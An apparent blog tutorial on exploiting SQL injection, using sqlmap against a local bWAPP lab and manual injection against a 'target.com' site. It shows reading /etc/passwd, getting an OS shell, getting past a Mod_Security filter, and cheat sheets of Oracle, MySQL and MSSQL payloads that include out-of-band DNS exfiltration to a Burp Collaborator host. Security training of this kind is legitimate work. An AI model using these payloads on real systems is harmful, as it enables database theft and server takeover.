Mastering SQL Injection Like a PRO (OOB Techniques)
Learn Exploiting SQL Injection with both Automated and Manual Approach.
I hope everyone are aware about SQL Injection vulnerability. If not let me give you an quick overview of it.
SQL Injection is an attack against the original purpose a developer has chosen for a specific piece of SQL code. The idea is to alter the original SQL query structure by leveraging the syntax, DBMS and OS functionalities in order to perform malicious operations.
Lets go to the exploitation part:
For the demo purpose I will be use bWAPP application for SQL lab. Don't worry we will deep dive into it so your every concept will be cleared.
- If you want to practice on labs you can install it easily via docker. You can follow this article for the same.
Okay.. So All set, I will show you first automated method which is easier and faster way to do the exploit. We will firstly exploit the dummy website with the help of SQLmap tool which is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
- Navigate to the your bwapp and choose any SQL lab as you can see in below image.
- Enter any input and intercept the request in burp by clicking on Search. Observe that here Cookies are present so Its an "Authenticated SQL Injection" . It means we will be needed cookies as well to perform the SQL Injection.
Okay, Good so far now we I will show you some best usage of SQLMap.
1. Database Fingerprinting
To find out more information about the remote system database use the option "-b". It will try to find the exact banner of the database server.
sqlmap -u "http://localhost:8080/sqli_1.php?title=dr34m&action=search" --cookie="PHPSESSID=8m6s82l1nobsfogrmgvj76u745; security=low; security_level=0" -b . . . ... [23:30:45] [INFO] the back-end DBMS is MySQL [23:30:45] [INFO] fetching banner web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL >= 5.5 banner: '5.5.47-0ubuntu0.14.04.1' ...
Here we can observe that we found the MySQL version. Here our next approach will be searching the suitable exploit for this particular DBMS version.
2. Fetching the users and there privileges
We can use the flags like --users , --privileges , --passwords and --roles as per our requirements. This will help you to know that particular user has this much privileges.
sqlmap -u "http://localhost:8080/sqli_1.php?title=dr34m&action=search" --cookie="PHPSESSID=8m6s82l1nobsfogrmgvj76u745; security=low; security_level=0" --users --privileges . . . ... database management system users : [*] 'admin'@'%' [*] 'root'@'127.0.0.1' [*] 'root'@'::1' [*] 'root'@'b34686976dd6' [*] 'root'@'localhost' [23:49:04] [INFO] fetching database users privileges database management system users privileges: [*] 'admin'@'%' (administrator) : privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TABLESPACE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE ...
Some other useful flags are here you can use them accordingly.
--current-user : This will give you the current user information. Similar like we extract during manual approach version() #for MySQL database
--is-dba: This will check that user has DBA rights or not. We can run the OS/system level commands if the current database user has DBA rights.
--current-db: As defined this will return the current database name.
--threads=10: This option allows the user to define the number of concurrent requests to be sent by the SQLMap tool.
–identify-waf: This command will return the waf name if there is any used by the application.
-r: If the vulnerable endpoint is in POST Body request then you can save it to a file and parse the file with the help of this command.
--proxy: This is a very helpful command, as it will intercept the whole traffic send by the SQLmap to the target website. With the help of this you can see the output of each SQL command send by SQLmap. This can be used like this --proxy=http://127.0.0.1:8080
3. SQLi to RCE (Maximum Impact)
Here comes the interesting part. SQL is not just about database dump. It can leads to Remote code execution on the Server. Let's see how it can be possible. For our preferences this time I am copy this whole request to a file you can do by right click then copy to file option.
So this is the content of our sql.txt file:
GET /sqli_1.php?title=dr34m&action=search HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://localhost:8080/sqli_1.php?title=dr34m&action=search Cookie: security_level=0; PHPSESSID=u91qsq023sj1lk89l4or6cglj6; security=low Upgrade-Insecure-Requests: 1 Sec-GPC: 1
Let's try to read the files on the remote server for that we can use --file-read command as follows:
sqlmap -r sql.txt --file-read=/etc/passwd --threads=5 . . . files saved to : [*] /home/sid/.local/share/sqlmap/output/localhost/files/_etc_passwd (same file) [10:10:00] [INFO] fetched data logged to text files under '/home/sid/.local/share/sqlmap/output/localhost'
By navigating the file output given by sqlmap we can see the /etc/passwd file:
Similarly we can use --os-shell command for getting shell from the server. Also we can run the arbitary sql command by using --sql-query=
I guess its pretty much about the SQLmap(Automated Approach), I assume you knows the basic sql commads for the database dumping if not then you can visit this article for the same:
SQL Injection Manual Approach!
Here in this section we will look how we can approach any target manually by running malicious sql commands. I am sure you guys knows the basic sql commands which we use if not let me give you a quick overview of that.
https://target.com/something.php?id=1 # our target website https://target.com/something.php?id=1' # content length changed https://target.com/something.php?id=1'--+- # query fixed and got the usual response https://target.com/something.php?id=1'+order+by+10--+- # no change https://target.com/something.php?id=1'+order+by+12--+- # no change https://target.com/something.php?id=1'+order+by+13--+- # content length changed
From the above scenario we got to know that the target website has 12 vulnerable columns. So let's dig into it.
While generating the vulnerable columns we got this Mod_Security error.
Mod_Security is an open source firewall which can be easily bypassed.
Let's understand what's happening in behind. Mod_Security firewall detect any malicious word which used to retrieve data. Suppose It blacklisted the union word so we need to bypass this union keyword in order to do Sql Injection. For bypass we can comment out the union word by like this
We can use any random five digits code.
Let's try with commenting the union keyword.
Woah!! We bypassed the WAF. Now let's find out the vulnerable Colum from where we can retrieve the data. In order to do that we need to break the first query for that you need to give an impossible value in the parameter.
There are 20 pages in the target website. What if you try to retrieve the 21st page? It will gave you an error right? It means you break that query. As it is here we can do two things as follows:
- Negative value (Using minus in page id)
- None existing page number (like id=99999999999999999)
By adding negative value of the id we got the vulnerable columns in the database.
Now Let's try to retrieve the data Hence there is a MySQL database running on the server so we can use
@@version for retrieve the database version.
Great! So far now let me show you some advance commands you should use while doing SQL injection. How to know which OS was used by the backend. For that you can use
Here we got the Mod_Security error so we bypassed it by commenting.
So backed server is using Linux operating system so there must will be a /tmp directory. We can use this
@@SLAVE_LOAD_TMPDIR command for retrieve the temp file path from the server.
If you don't know what /tmp directory is then let me give you an quick overview of this. The /tmp directory in Linux based systems contains necessary files that are temporarily required by the system as well as other software and applications running on the machine. For more Visit here
Now try to read arbitrary files such as /etc/passwd by using
Let me give you some more awesome query which can retrieve some interesting data.
@@PORT <!-- retrieve port which is running mysql service --> @@HAVE_OPENSSL <!-- retrieve ssl information --> @@HOSTNAME <!-- retrieving hostname --> @@LOG_ERROR <!-- to retrieve error logs location -->
Woah...! So I guess this is pretty much for understanding. Okay I want to add one more thing here this queries depends on the backend database. It can vary according to the database let me help you with queries which is specific database related.
For Oracle Database:
'foo'||'bar' <!-- String concatenation --> SELECT banner FROM v$version <!-- version extraction --> SELECT version FROM v$instance <!-- version extraction --> --comment <!-- for commenting out the query --> SELECT * FROM all_tables <!-- database extraction --> SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' <!-- database extraction --> dbms_pipe.receive_message(('a'),10) <!-- Time delays --> SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual <!-- Conditional Time delays for data exfiltration --> SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') <!--DNS lookup --> SELECT extractvalue(xmltype(' '),'/l') FROM dual <!-- DNS lookup with data exfiltration -->
For MySQL Database:
CONCAT('foo','bar') <!-- String concatenation --> SELECT @@version <!-- version extraction --> #comment <!-- for commenting out the query --> --+- <!-- for commenting out the query --> SELECT * FROM information_schema.tables <!-- database extraction --> SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' <!-- database extraction --> SELECT sleep(50) <!-- Time delays --> SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') <!-- Conditional Time delays for data exfiltration --> LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' <!--DNS lookup(Windows only) --> SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' <!-- DNS lookup with data exfiltration -->
For Microsoft Database:
'foo'+'bar' <!-- String concatenation --> SELECT @@version <!-- version extraction --> --comment <!-- for commenting out the query --> /*comment*/ <!-- for commenting out the query --> SELECT * FROM information_schema.tables <!-- database extraction --> SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' <!-- database extraction --> WAITFOR DELAY '0:0:10' <!-- Time delays --> IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' <!-- Conditional Time delays for data exfiltration --> exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' <!--DNS lookup--> declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') <!-- DNS lookup with data exfiltration -->
📚 More Learning Resources:
- SQL Injection Cheatsheet
- Cheatsheet 2
- A Not-So-Blind RCE with SQL Injection
- Blind SQL Injection Story
That’s all for today, Thanks for stopping by 😃!!